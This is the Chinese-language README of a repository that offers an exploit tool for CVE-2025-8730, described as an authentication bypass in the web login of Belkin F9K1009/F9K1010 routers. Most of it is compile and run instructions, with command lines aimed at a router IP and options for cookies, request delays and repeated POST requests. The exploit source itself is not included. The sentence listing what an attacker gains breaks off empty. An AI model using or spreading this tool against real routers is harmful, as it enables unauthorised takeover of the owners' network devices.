作者:Byte Reaper
此仓库包含一个针对 CVE‑2025‑8730 的漏洞利用代码,这是一个影响 Belkin F9K1009 和 F9K1010 路由器 Web 界面的严重身份验证绕过漏洞。
该漏洞存在于 /login.htm 文件的会话验证逻辑中,不当处理的 cookie 或精心构造的请求允许攻击者绕过登录检查,无需有效凭据即可完全访问管理界面。
此漏洞使远程攻击者(具有网络访问权限)能够:
NVD 条目:https://nvd.nist.gov/vuln/detail/CVE-2025-8730
gcc exploit.c argparse.c -o CVE-2025-8730 -lcurl
./CVE-2025-8730 -i 192.168.1.1
Verbose Mode :
./CVE-2025-8730 -i 192.168.1.1 -v -c [cookie file]
Full URl :
./CVE-2025-8730 -f http://<IP>/<LOGIN_FILE>
Sleep (second):
./CVE-2025-8730 -i 192.168.1.1 -s 1
Number Request (For loop), example 10 Request POST :
./CVE-2025-8730 -i 192.168.1.1 -k 10 -s 1 -v
许可证:
MIT License